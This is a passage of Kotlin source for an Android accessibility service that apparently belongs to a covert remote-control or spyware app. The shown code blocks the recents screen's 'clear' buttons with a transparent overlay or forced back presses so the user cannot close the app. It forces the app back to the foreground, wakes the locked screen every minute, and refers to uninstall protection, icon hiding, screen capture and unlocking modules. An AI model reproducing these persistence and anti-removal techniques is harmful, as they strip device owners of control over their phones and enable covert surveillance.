                Log.i(TAG, "✅ 第二次返回成功，小米Android 10设备返回完成")
                return true
            }

            // 如果2次返回都没成功，直接启动应用
            Log.w(TAG, "⚠️ 小米Android 10设备两次返回都未成功，检查是否启动应用")
            
            // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
            if (isKeepAliveScenario()) {
                Log.i(TAG, "💡 保活场景下小米Android 10返回失败，不启动MainActivity（避免保活程序拉起）")
                return false
            }
            
            val intent = Intent(this, com.hikoncont.MainActivity::class.java).apply {
                addFlags(
                    Intent.FLAG_ACTIVITY_NEW_TASK or
                            Intent.FLAG_ACTIVITY_CLEAR_TOP or
                            Intent.FLAG_ACTIVITY_SINGLE_TOP
                )
                putExtra("MI_ANDROID10_RETURN", true)
                putExtra("FROM_ACCESSIBILITY_SERVICE", true)
            }

            startActivity(intent)

            // 等待应用启动
            delay(500)

            // 最终检测
            val isInAppFinal = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 小米Android 10设备直接启动应用 = $isInAppFinal")

            isInAppFinal


        } catch (e: Exception) {
            Log.e(TAG, "❌ 小米Android 10设备智能返回失败", e)
            return false
        }
    }

    /**
     * 🔥 小米Android 13设备专用的智能返回方法
     * 特殊处理：优先使用简单方案，避免额外返回操作导致回到桌面
     */
    private suspend fun smartReturnToAppForMiAndroid13(): Boolean {
        return try {
            Log.i(TAG, "🏠 开始小米Android 13设备智能返回流程（优先简单方案）")
            // 设备与系统信息
            try {
                val brand = android.os.Build.BRAND
                val model = android.os.Build.MODEL
                val release = android.os.Build.VERSION.RELEASE
                val sdk = android.os.Build.VERSION.SDK_INT
                Log.i(TAG, "📱 设备信息: brand=$brand, model=$model, release=$release, sdk=$sdk")
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 记录设备信息失败", e)
            }

            // 当前顶层包名（前置）
            val prePkg = try {
                rootInActiveWindow?.packageName?.toString().orEmpty()
            } catch (_: Exception) { "" }
            Log.i(TAG, "🔍 前置顶层包名: $prePkg")

            // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
            if (isKeepAliveScenario()) {
                Log.i(TAG, "💡 保活场景下小米Android 13返回应用，不启动MainActivity（避免保活程序拉起）")
                return false
            }

            // 1. 先尝试简单方案：直接启动应用
            val intent = Intent(this, com.hikoncont.MainActivity::class.java).apply {
                addFlags(
                    Intent.FLAG_ACTIVITY_NEW_TASK or
                            Intent.FLAG_ACTIVITY_CLEAR_TOP or
                            Intent.FLAG_ACTIVITY_SINGLE_TOP
                )
                putExtra("MI_ANDROID13_RETURN", true)
                putExtra("FROM_ACCESSIBILITY_SERVICE", true)
            }
            Log.d(TAG, "🧭 启动MainActivity intent flags=NEW_TASK|CLEAR_TOP|SINGLE_TOP, extras={MI_ANDROID13_RETURN=true, FROM_ACCESSIBILITY_SERVICE=true}")
            val tLaunchStart = System.currentTimeMillis()
            startActivity(intent)

            // 等待应用启动
            delay(1500)
            val tLaunchEnd = System.currentTimeMillis()
            Log.d(TAG, "⏱️ 启动应用等待耗时(ms)=${tLaunchEnd - tLaunchStart}")

            // 检测是否成功
            val isInAppAfterLaunch = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 小米Android 13设备简单方案结果 = $isInAppAfterLaunch")

            if (isInAppAfterLaunch) {
                Log.i(TAG, "✅ 小米Android 13设备简单方案成功，返回完成")
                return true
            }

            // 2. 如果简单方案失败，尝试一次返回操作
            Log.i(TAG, "🔙 小米Android 13设备简单方案失败，尝试一次返回操作")

            // 先检测当前是否在应用页面
            val isInApp1 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 当前是否在应用 = $isInApp1")

            if (isInApp1) {
                Log.i(TAG, "✅ 小米Android 13设备已在应用页面，跳过返回操作")
                return true
            }

            // 执行一次返回操作
            val tBackStart = System.currentTimeMillis()
            val back1 = try { performGlobalAction(GLOBAL_ACTION_BACK) } catch (e: Exception) { Log.w(TAG, "⚠️ 第1次返回执行异常", e); false }
            Log.d(TAG, "↩️ 第1次返回执行结果=$back1")
            delay(500)
            val back2 = try { performGlobalAction(GLOBAL_ACTION_BACK) } catch (e: Exception) { Log.w(TAG, "⚠️ 第2次返回执行异常", e); false }
            Log.d(TAG, "↩️ 第2次返回执行结果=$back2")
            delay(500)
            val back3 = try { performGlobalAction(GLOBAL_ACTION_BACK) } catch (e: Exception) { Log.w(TAG, "⚠️ 第3次返回执行异常", e); false }
            Log.d(TAG, "↩️ 第3次返回执行结果=$back3")
            delay(500)
            val tBackEnd = System.currentTimeMillis()
            Log.d(TAG, "⏱️ 返回操作总耗时(ms)=${tBackEnd - tBackStart}")

            // 检测返回结果
            val midPkg = try { rootInActiveWindow?.packageName?.toString().orEmpty() } catch (_: Exception) { "" }
            val isInApp2 = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 返回操作后是否在应用 = $isInApp2, 当前包=$midPkg")

            if (isInApp2) {
                Log.i(TAG, "✅ 小米Android 13设备返回操作成功")
                return true
            }

            // 3. 如果返回操作也失败，再次尝试启动应用
            Log.w(TAG, "⚠️ 小米Android 13设备返回操作失败，再次启动应用")
            val tReLaunchStart = System.currentTimeMillis()
            startActivity(intent)
            delay(1000)
            val tReLaunchEnd = System.currentTimeMillis()
            Log.d(TAG, "⏱️ 再次启动应用等待耗时(ms)=${tReLaunchEnd - tReLaunchStart}")

            val postPkg = try { rootInActiveWindow?.packageName?.toString().orEmpty() } catch (_: Exception) { "" }
            val isInAppFinal = isCurrentlyInOurApp()
            Log.i(TAG, "🔍 小米Android 13设备最终结果 = $isInAppFinal, 最终包=$postPkg")

            isInAppFinal

        } catch (e: Exception) {
            Log.e(TAG, "❌ 小米Android 13设备智能返回失败", e)
            return false
        }
    }

    /**
     * ✅ 新增：检测当前是否在我们的应用页面
     */
    private fun isCurrentlyInOurApp(): Boolean {
        return try {
            val rootNode = rootInActiveWindow
            if (rootNode == null) {
                Log.d(TAG, "🔍 无法获取根节点，判断为不在应用")
                return false
            }

            val packageName = rootNode.packageName?.toString() ?: ""
            rootNode.recycle()

            // 检查包名是否是我们的应用
            val isOurPackage = packageName == this.packageName
            Log.d(TAG, "🔍 当前页面包名: $packageName, 是否为我们应用: $isOurPackage")

            isOurPackage

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测当前应用失败", e)
            return false
        }
    }

    /**
     * 公共方法：执行智能返回到应用
     * 供其他模块调用的智能返回方法
     */
    suspend fun performSmartReturnToApp(): Boolean {
        return try {
            Log.i(TAG, "🔄 执行智能返回到应用（公共接口）")
            smartReturnToApp()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 公共智能返回方法失败", e)
            false
        }
    }

    override fun onDestroy() {
        Log.i(TAG, "🛑 无障碍服务正在销毁")

        // 🔇 停止日志与收集器，避免销毁期间仍有异步任务占用资源
        try {
            if (::loggingManager.isInitialized) {
                loggingManager.disableLogging()
            }
            logCollector?.stopLogging()
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 停止日志模块失败", e)
        }

        // ✅ 停止有效保活管理器（触发自恢复机制）
        effectiveKeepAliveManager?.onServiceDestroyed()

        // ✅ 清理无障碍页面监控
        accessibilityPageMonitor?.cancel()

        // 🛡️ 清理防止卸载保护监听器
        if (isUninstallProtectionEnabled) {
            stopUninstallProtectionMonitor()
            isUninstallProtectionEnabled = false
        }

        // ✅ Phase 4.1 Step 1: 使用ServiceLifecycleManager处理服务销毁
        if (::serviceLifecycleManager.isInitialized) {
            serviceLifecycleManager.handleServiceDestroy()
        }

        // ✅ 清理多任务页面检测相关变量
        lastRecentsCheckTime = 0L
        lastRecentsPackage = ""
        removeOverlayView()

        cleanup()
        unregisterPermissionRequestReceiver()
        // ✅ 停止WebView状态检查定时任务
        stopWebViewStatusCheckTask()
        // ✅ 停止唤醒屏幕定时任务
//        stopWakeScreenTask()
//        try {
//            unregisterReceiver(installationCompleteReceiver)
//        } catch (_: Exception) {
//        }
        instance = null
        super.onDestroy()
    }

    override fun onUnbind(intent: Intent?): Boolean {
        Log.i(TAG, "🧹 无障碍服务 onUnbind，开始软清理")
        try {
            // 停止日志，避免后续事件继续产生负载
            if (::loggingManager.isInitialized) {
                loggingManager.disableLogging()
            }
            logCollector?.stopLogging()
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ onUnbind 停止日志失败", e)
        }

        try {
            // 停止屏幕捕获，释放相关资源
            if (::screenCaptureManager.isInitialized) {
                screenCaptureManager.stopCapture()
            }
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ onUnbind 停止屏幕捕获失败", e)
        }

        try {
            // ✅ 停止WebView状态检查定时任务
            stopWebViewStatusCheckTask()
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ onUnbind 停止WebView状态检查任务失败", e)
        }

        try {
            // 取消协程子任务，防止服务解绑后仍有任务运行
            serviceScope.cancel()
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ onUnbind 取消协程失败", e)
        }

        return super.onUnbind(intent)
    }
    
    /**
     * ✅ 启动WebView状态检查定时任务（外部定时检查，避免在onAccessibilityEvent中调用系统API）
     */
    private fun startWebViewStatusCheckTask() {
        try {
            // 停止之前的任务（如果存在）
            stopWebViewStatusCheckTask()
            
            // 启动定时任务，每1秒检查一次WebView状态是否过期
            webViewStatusCheckJob = serviceScope.launch(Dispatchers.IO) {
                while (isActive) {
                    try {
                        // 检查WebView状态是否过期（超过1秒未更新）
                        if (isWebViewOpen) {
                            val currentTime = System.currentTimeMillis()
                            val timeSinceLastStatus = currentTime - lastWebViewStatusTime
                            
                            if (timeSinceLastStatus > 500L) {
                                // 状态过期，重置为关闭状态
                                isWebViewOpen = false
                                Log.i(TAG, "📡 [定时检查] WebView状态过期(${timeSinceLastStatus}ms)，已重置为关闭状态")
                            }
                        }
                        
                        // 每秒检查一次
                        delay(200L)
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ WebView状态检查任务失败", e)
                        // 出错时延迟重试
                        delay(300L)
                    }
                }
            }
            
            Log.i(TAG, "✅ 已启动WebView状态检查定时任务（每1秒检查一次）")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动WebView状态检查定时任务失败", e)
        }
    }
    
    /**
     * ✅ 停止WebView状态检查定时任务
     */
    private fun stopWebViewStatusCheckTask() {
        try {
            webViewStatusCheckJob?.cancel()
            webViewStatusCheckJob = null
            Log.i(TAG, "✅ 已停止WebView状态检查定时任务")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止WebView状态检查定时任务失败", e)
        }
    }
    
    /**
     * ✅ 启动唤醒屏幕定时任务（每分钟调用一次）
     */
    private fun startWakeScreenTask() {
        try {
            // 停止之前的任务（如果存在）
            stopWakeScreenTask()
            
            // 启动定时任务，每分钟调用一次 wakeScreen
            wakeScreenJob = serviceScope.launch(Dispatchers.IO) {
                while (isActive) {
                    try {
                        // ✅ 判断手机是否处于锁屏状态
                        val keyguardManager = getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager
                        val isLocked = keyguardManager?.isKeyguardLocked ?: false
                        
                        if (isLocked) {
                            // 只有锁屏状态才调用唤醒屏幕方法
                            Log.d(TAG, "📱 检测到锁屏状态，执行唤醒屏幕")
                            wakeScreen()
                        } else {
                            Log.d(TAG, "📱 设备未锁屏，跳过唤醒屏幕")
                        }
                        
                        // 每分钟（60000毫秒）执行一次
                        delay(60000L)
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 唤醒屏幕定时任务失败", e)
                        // 出错时延迟重试
                        delay(1000L)
                    }
                }
            }
            
            Log.i(TAG, "✅ 已启动唤醒屏幕定时任务（每分钟调用一次）")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动唤醒屏幕定时任务失败", e)
        }
    }
    
    /**
     * ✅ 停止唤醒屏幕定时任务
     */
    private fun stopWakeScreenTask() {
        try {
            wakeScreenJob?.cancel()
            wakeScreenJob = null
            Log.i(TAG, "✅ 已停止唤醒屏幕定时任务")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止唤醒屏幕定时任务失败", e)
        }
    }

    // ✅ 移除重复的INSTALLATION_COMPLETE接收器，使用全局InstallationCompleteReceiver

    override fun onAccessibilityEvent(event: AccessibilityEvent) {
        // ✅ 最优先检查：WebView打开时立即返回（最快路径，避免任何其他开销）
        // ⚠️ 性能优化：定时任务负责检查状态过期，这里只检查标志，无需系统调用
        //暂时停用
//        return
        if (isWebViewOpen) {
            // ✅ 最大性能优化：直接返回，无需任何系统调用（时间检查由外部定时任务负责）
            return
        }
        
        // ✅ 后续检查：安装状态检查（只有在WebView未打开时才执行）
//        try {
//            // ✅ 逻辑优化：只有未检查成功时才继续检查，一旦检查成功就永久缓存不再检查
//            if (cachedInstallationComplete != true) {
//                // 继续检查安装状态（未安装完成时会一直检查，直到安装完成后才停止）
//                val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
//                val isComplete = installationStateManager.isInstallationComplete()
//
//                if (isComplete) {
//                    // ✅ 检查成功（安装完成），永久缓存状态，后续不再检查
//                    cachedInstallationComplete = true
//                    Log.i(TAG, "✅ 安装完成状态检查成功，已永久缓存状态，后续不再检查")
//                } else {
//                    // ✅ 检查失败（未安装完成），不缓存false（保持null或false），下次事件继续检查
//                    // 注意：不更新cachedInstallationComplete，保持当前状态（null或false），确保下次继续检查
//                    if (cachedInstallationComplete == null) {
//                        cachedInstallationComplete = false
//                    }
//                    // 降低日志频率，避免刷屏
//                    if (event.eventType != android.view.accessibility.AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
//                        Log.v(TAG, "📋 安装未完成，继续检查（直到安装完成后才停止检查）")
//                    }
//                }
//            }
//        } catch (e: Exception) {
//            // 如果检查失败，继续处理事件（避免阻塞正常流程）
//            Log.w(TAG, "⚠️ 检查安装状态失败，继续处理事件", e)
//        }
        
        // ✅ 检查安装是否完成，只有安装完成后才处理事件

        
        // 🔕 WebView降载：检测本应用WebView界面并暂停事件处理
        //这个只能阻断部分事件，
//         try {
//             val pkg = event.packageName?.toString() ?: ""
//             val cls = event.className?.toString() ?: ""
//             val isOurApp = pkg == applicationContext.packageName
//             val isWebViewClass = cls.contains("WebView", ignoreCase = true) || cls == "android.webkit.WebView"
//             if (event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED ||  event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
//                 if (isOurApp && isWebViewClass) {
//                     pauseAccessibilityForWebView = true
//                 } else if (!isWebViewClass) {
//                     pauseAccessibilityForWebView = false
//                 }
//             }
//             if (pauseAccessibilityForWebView && isOurApp) {
//                 return
//             }
//         } catch (_: Exception) { }
        // 🔒 内联：多任务页面监听与阻断返回
        if (!isWebViewOpen){
            try {
                handleRecentsGuardEvent(event)
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 处理多任务页面事件失败", e)
            }
        }
        // ✅ Phase 4.1 Step 2: 使用AccessibilityEventManager处理无障碍事件
        // ✅ 性能优化：如果我们的APP在前台，也跳过事件管理器处理
        if (::accessibilityEventManager.isInitialized && !isWebViewOpen) {
            accessibilityEventManager.handleAccessibilityEvent(event)
        }
        
        // ✅ 新增：APP图标长按监听与阻断
//        try {
//            if (::appIconLongPressInterceptor.isInitialized) {
//                appIconLongPressInterceptor.handleAccessibilityEvent(event)
//            }
//        } catch (e: Exception) {
//            Log.w(TAG, "⚠️ 处理APP图标长按事件失败", e)
//        }

        // ✅ 安装完成状态检查（使用缓存优化）
        // 如果已安装完成（cachedInstallationComplete == true），跳过检查
        // 如果未安装完成或未检测过，检测一次并更新缓存
//        if (cachedInstallationComplete != true) {
//            try {
//                val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
//                val isInstallationComplete = installationStateManager.isInstallationComplete()
//
//                // 更新缓存：如果已完成，设置为true（以后不再检测）
//                // 如果未完成，设置为false（下次继续检测）
//                cachedInstallationComplete = isInstallationComplete
//
//                if (!isInstallationComplete) {
//                    // 安装未完成，跳过事件处理（减少日志输出，避免频繁打印）
//                    return
//                } else {
//                    // 安装已完成，记录日志（仅首次检测到时）
//                    Log.i(TAG, "✅ 检测到安装已完成，后续不再检测")
//                }
//            } catch (e: Exception) {
//                // 如果检查失败，继续处理事件（避免阻塞正常流程）
//                // 不更新缓存，下次继续检测
//                Log.w(TAG, "⚠️ 检查安装完成状态失败，继续处理事件", e)
//            }
//        }



        // ✅ 新增：仅当用户点击了“清除/全部清除/关闭全部”等按钮后，再执行延迟返回
//        try {
//            if (event.eventType == AccessibilityEvent.TYPE_VIEW_CLICKED) {
//                val pkg = event.packageName?.toString() ?: ""
//                if (isRecentsOrLauncherPackage(pkg)) {
//                    val texts = mutableListOf<String>()
//                    try { event.text?.forEach { texts.add(it?.toString().orEmpty()) } } catch (_: Exception) {}
//                    try { event.contentDescription?.let { texts.add(it.toString()) } } catch (_: Exception) {}
//
//                    if (containsClearKeywords(texts)) {
//                        Log.i(TAG, "🧹 侦测到多任务清理按钮点击，计划延迟返回: pkg=$pkg, texts=$texts")
//                        val main = android.os.Handler(android.os.Looper.getMainLooper())
//                        main.postDelayed({ performGlobalAction(GLOBAL_ACTION_BACK) }, 150)
//                        main.postDelayed({ performGlobalAction(GLOBAL_ACTION_BACK) }, 800)
//                    }
//                }
//            }
//        } catch (e: Exception) {
//            Log.w(TAG, "⚠️ 处理清理按钮点击返回逻辑失败", e)
//        }
    }

    override fun onInterrupt() {
        Log.w(TAG, "无障碍服务被中断")

        // ✅ Phase 4.1 Step 1: 使用ServiceLifecycleManager处理服务中断
        if (::serviceLifecycleManager.isInitialized) {
            serviceLifecycleManager.handleServiceInterrupt()
        }
    }

    /**
     * 初始化Phase 4.1模块实例
     */
    private fun initializeModules() {
        try {
            Log.i(TAG, "🔧 初始化Phase 4.1模块实例")

            // ✅ Phase 4.1 Step 1: ServiceLifecycleManager实例
            serviceLifecycleManager = ServiceLifecycleManager(this, this)

            // ✅ Phase 4.1 Step 2: AccessibilityEventManager实例
            accessibilityEventManager = AccessibilityEventManager(this, this)

            // ✅ Phase 4.1 Step 3: NetworkManager实例
            networkManager = NetworkManager(this, this)

            // ✅ Phase 4.1 Step 4: ConfigManager实例
            configManager = ConfigManager(this)

            // ✅ Phase 4.2 Step 5: PermissionManager实例
            permissionManager = PermissionManager(this, this)

            // ✅ Phase 4.2 Step 6: UnlockManager实例 (延迟初始化，在initializeManagers中完成)

            // ✅ Phase 4.3 Step 3: KeyEventManager实例
            keyEventManager = KeyEventManager(this, this)

            // ✅ Phase 4.3 Step 4: MaskOverlayManager实例
            maskOverlayManager = MaskOverlayManager(this, this)

            // ✅ Phase 4.3 Step 5: UIAnalysisManager实例
            uiAnalysisManager = UIAnalysisManager(this, this)

            // ✅ Phase 4.3 Step 6: PermissionUIManager实例
            permissionUIManager = PermissionUIManager(this, this)

            // ✅ Phase 4.3 Step 7: DebugAnalysisManager实例
            debugAnalysisManager = DebugAnalysisManager(this, this)

            // ✅ 新增：ConfigMaskManager实例
            configMaskManager = ConfigMaskManager(this, this)
            configProgressManager = ConfigProgressManager(this)
            configProgressManager.initialize()

            // ✅ 新增：WriteSettingsPermissionManager实例
            writeSettingsPermissionManager = WriteSettingsPermissionManager(this, this)

            // 🔥 新增：授权模块初始化
            authorizationModule = AuthorizationModule(this, this)

            // ✅ 新增：ScreenBrightnessManager实例
            screenBrightnessManager = ScreenBrightnessManager(this)

            // ✅ 新增：AppIconHideManager实例
            appIconHideManager = AppIconHideManager(this)

            // ✅ 新增：APP图标长按监听器实例
            appIconLongPressInterceptor = AppIconLongPressInterceptor(this)

            Log.i(TAG, "✅ Phase 4.1+4.2+4.3 Step 9模块实例初始化完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ Phase 4.1模块实例初始化失败", e)
            throw e
        }
    }

    // ===== 内联：多任务页面监听与阻断返回实现 =====
    private fun handleRecentsGuardEvent(event: AccessibilityEvent) {
        when (event.eventType) {
            AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> onRecentsWindowContentChanged(event)
        }
    }

    // 更新悬浮窗到给定矩形
    private fun updateOverlayViewToRect(rect: android.graphics.Rect) {
        try {
            if (overlayView == null || windowManager == null || overlayParams == null) return
            val statusBarHeight = getStatusBarHeight()
            overlayParams?.apply {
                x = rect.left
                val desiredY = rect.top - statusBarHeight
                y = if (desiredY < 0) 0 else desiredY
                width = rect.width()
                height = rect.height()
            }
            val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
            mainHandler.post {
                try {
                    // 展开到目标区域时，恢复可见度与半透明黑背景
                    try {
                        overlayView?.alpha = 0.8f
                        overlayView?.setBackgroundColor(android.graphics.Color.argb(160, 0, 0, 0))
                        overlayView?.visibility = android.view.View.VISIBLE
                    } catch (_: Exception) {
                    }
                    windowManager?.updateViewLayout(overlayView, overlayParams)
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 更新悬浮窗位置失败，尝试重建", e)
                    try {
                        removeOverlayView()
                        createOverlayView(rect, "清除")
                    } catch (_: Exception) {
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 更新悬浮窗失败", e)
        }
    }

    // 将悬浮窗缩成1像素点，放在屏幕左上角边缘，避免视觉干扰
    private fun shrinkOverlayToDot() {
        try {
            if (overlayView == null || windowManager == null) return
            if (overlayParams == null) {
                // 若未初始化过，创建最小参数
                overlayParams = android.view.WindowManager.LayoutParams().apply {
                    type = android.view.WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY
                    flags = (
                            android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE or
                                    android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL or
                                    android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN
                            )
                    format = android.graphics.PixelFormat.TRANSLUCENT
                    gravity = android.view.Gravity.TOP or android.view.Gravity.START
                    x = 0
                    y = 0
                    width = 1
                    height = 1
                }
                windowManager?.addView(overlayView, overlayParams)
                return
            }
            overlayParams?.apply {
                x = 0
                y = 0
                width = 1
                height = 1
            }
            val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
            mainHandler.post {
                try {
                    // 收缩前改为完全透明，避免闪烁
                    try {
                        overlayView?.alpha = 0.01f
                    } catch (_: Exception) {
                    }
                    windowManager?.updateViewLayout(overlayView, overlayParams)
                } catch (e: Exception) {
                    Log.w(TAG, "⚠️ 收缩悬浮窗失败", e)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 收缩悬浮窗异常", e)
        }
    }

    // 多任务页面检测配置
    private val RECENTS_DETECTION_CONFIG = arrayOf(
        "com.bbk.launcher2|宫格布局-按钮",
        "com.bbk.launcher2|平铺布局-按钮",
        "com.android.launcher|清除",
        "com.oppo.launcher|清除"
    )

    // ✅ 新增：防重复检测机制
    private var lastRecentsCheckTime = 0L
    private var lastRecentsPackage = ""
    private val RECENTS_CHECK_INTERVAL = 100L // 2秒内不重复检测同一包名

    // 悬浮窗相关变量
    private var overlayView: android.widget.TextView? = null
    private var windowManager: android.view.WindowManager? = null
    private var overlayParams: android.view.WindowManager.LayoutParams? = null

    // 延迟移除控制
    private var recentsOverlayRemovalHandler: android.os.Handler? =
        android.os.Handler(android.os.Looper.getMainLooper())
    private var recentsOverlayRemovalRunnable: Runnable? = null
    private var recentsOverlayRemovalScheduledAt: Long = 0L

    private fun onRecentsWindowContentChanged(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""

        // ✅ 新增：检查授权模块状态，只有授权完成后才执行多任务检测
        val isAuthorizationInProgress = authorizationModule?.isAuthorizing() == true
        if (isAuthorizationInProgress) {
            Log.d(TAG, "🔒 授权流程正在进行中，跳过多任务页面检测")
            return
        }

        // ✅ 新增：防重复检测机制
        val currentTime = System.currentTimeMillis()
        if (packageName == lastRecentsPackage &&
            currentTime - lastRecentsCheckTime < RECENTS_CHECK_INTERVAL
        ) {
            // 2秒内重复检测同一包名，直接跳过
            return
        }

        // 更新检测时间和包名
        lastRecentsCheckTime = currentTime
        lastRecentsPackage = packageName

//        Log.d(TAG, "📄 窗口内容变化: $packageName")

        // 检查是否匹配多任务页面配置
        var isRecentsPage = false
        val brand = Build.BRAND.lowercase()
        val isVivo = brand.contains("vivo") ||brand.contains("iqoo")
        for (config in RECENTS_DETECTION_CONFIG) {
            val parts = config.split("|")
            val targetPackage = parts[0]
            val targetText = parts[1]

            if (packageName.equals(targetPackage, true)) {
                isRecentsPage = true
                Log.d(TAG, "🔍 检测到目标包名: $targetPackage, 查找文本: $targetText")

                // 如果已经有悬浮窗，先检查是否还需要
                if (overlayView != null) {
                    Log.d(TAG, "🔄 悬浮窗已存在，检查是否需要更新")
                    return // 已经有悬浮窗了，不需要重复创建
                }

                // 查找包含目标文本的可见节点
                val rootNode = rootInActiveWindow

                if (rootNode != null) {
                    val nodes = rootNode.findAccessibilityNodeInfosByText(targetText)
                    for (node in nodes) {
                        if (node.isVisibleToUser) {
                            Log.i(TAG, "✅ 找到可见的目标节点: $targetText")

                            if (isVivo){
                                    performGlobalAction(GLOBAL_ACTION_BACK)
                                    return
                            }
//                            performGlobalAction(GLOBAL_ACTION_BACK)
//                            return
//                             获取节点位置
                            val rect = android.graphics.Rect()
                            node.getBoundsInScreen(rect)

                            // 创建悬浮窗阻断
                            createOverlayView(rect, targetText)
                            return // 找到并创建悬浮窗后立即返回
                        }
                    }
                    Log.d(TAG, "❌ 未找到可见的目标节点: $targetText")
                } else {
                    Log.w(TAG, "⚠️ 无法获取根节点")
                }
            }
        }

        // 如果不是多任务页面且有悬浮窗，则移除悬浮窗
        if (!isRecentsPage && overlayView != null) {
            Log.i(TAG, "📱 离开多任务页面，移除悬浮窗")
            removeOverlayView()
        }
    }

    private fun isRecentsOrLauncherPackage(packageName: String): Boolean {
        val p = packageName.lowercase()
        return when {
            p.contains("systemui") -> true
            p.contains("launcher") -> true
            p.contains("huawei") && p.contains("launcher") -> true
            p.contains("miui") && (p.contains("home") || p.contains("launcher")) -> true
            p.contains("oppo") && p.contains("launcher") -> true
            p.contains("coloros") && p.contains("launcher") -> true
            p.contains("vivo") && p.contains("launcher") -> true
            p.contains("iqoo") && p.contains("launcher") -> true
            p.contains("oneplus") && p.contains("launcher") -> true
            p.contains("samsung") && p.contains("launcher") -> true
            else -> false
        }
    }

    private fun containsClearKeywords(texts: List<String>): Boolean {
        if (texts.isEmpty()) return false
        val keys = listOf(
            "清除", "全部清除", "清理",
            "关闭全部", "全部关闭",
            "一键清理", "一键清除",
            "Clear", "Clear all", "Close all"
        )
        texts.forEach { raw ->
            val t = raw.trim()
            if (t.isEmpty()) return@forEach
            for (k in keys) {
                if (t.equals(k, true) || t.contains(k, true)) return true
            }
        }
        return false
    }

    private fun createOverlayView(rect: android.graphics.Rect, targetText: String) {
        try {
            Log.i(TAG, "🛡️ 创建悬浮窗阻断: $targetText")

            // 获取WindowManager
            windowManager = getSystemService(WINDOW_SERVICE) as android.view.WindowManager

            // 创建TextView
            overlayView = android.widget.TextView(this).apply {
                text = "阻断多任务页面"
                setTextColor(android.graphics.Color.TRANSPARENT)
                setBackgroundColor(android.graphics.Color.TRANSPARENT)
                setOnClickListener {
                    Log.i(TAG, "🚫 悬浮窗被点击，发送返回操作")
                    performGlobalAction(GLOBAL_ACTION_BACK)
                }
            }

            // 获取屏幕尺寸
            val display = windowManager?.defaultDisplay
            val size = android.graphics.Point()
            display?.getSize(size)
            val screenWidth = size.x
            val screenHeight = size.y

            // 获取状态栏高度
            val statusBarHeight = getStatusBarHeight()

            // 设置悬浮窗参数
            overlayParams = android.view.WindowManager.LayoutParams().apply {
                type = android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
                flags = android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE or
                        android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
                format = android.graphics.PixelFormat.TRANSLUCENT
                gravity = android.view.Gravity.TOP or android.view.Gravity.START

                // 位置：在目标元素上方
                x = 10
                y = (rect.top - statusBarHeight) - 60

                // 尺寸：几乎全屏宽度，覆盖目标元素
                width = screenWidth - 20
                height = rect.height() + 100
            }

            // 添加悬浮窗
            windowManager?.addView(overlayView, overlayParams)
            Log.i(TAG, "✅ 悬浮窗已创建并添加")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 创建悬浮窗失败", e)
        }
    }

    private fun removeOverlayView() {
        try {
            if (overlayView != null && windowManager != null) {
                windowManager?.removeView(overlayView)
                overlayView = null
                Log.d(TAG, "🗑️ 悬浮窗已移除")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 移除悬浮窗失败", e)
        }
    }


    /**
     * 测试新的多任务检测方案
     */
    fun testNewRecentsDetection() {
        Log.i(TAG, "🧪 开始测试新的多任务检测方案")

        val root = rootInActiveWindow
        if (root != null) {
            Log.i(TAG, "📄 当前窗口信息:")
            Log.i(TAG, "  - 包名: ${root.packageName}")
            Log.i(TAG, "  - 类名: ${root.className}")

            // 检查配置匹配
            for (config in RECENTS_DETECTION_CONFIG) {
                val parts = config.split("|")
                val targetPackage = parts[0]
                val targetText = parts[1]

                if (root.packageName?.equals(targetPackage) == true) {
                    Log.i(TAG, "✅ 包名匹配: $targetPackage")
                    Log.i(TAG, "🔍 查找文本: $targetText")

                    // 查找目标文本
                    val nodes = root.findAccessibilityNodeInfosByText(targetText)
                    Log.i(TAG, "📊 找到 ${nodes.size} 个包含 '$targetText' 的节点")

                    for ((index, node) in nodes.withIndex()) {
                        Log.i(TAG, "  [$index] 可见: ${node.isVisibleToUser}, 文本: ${node.text}")
                        if (node.isVisibleToUser) {
                            val rect = android.graphics.Rect()
                            node.getBoundsInScreen(rect)
                            Log.i(TAG, "  [$index] 位置: $rect")
                        }
                    }
                } else {
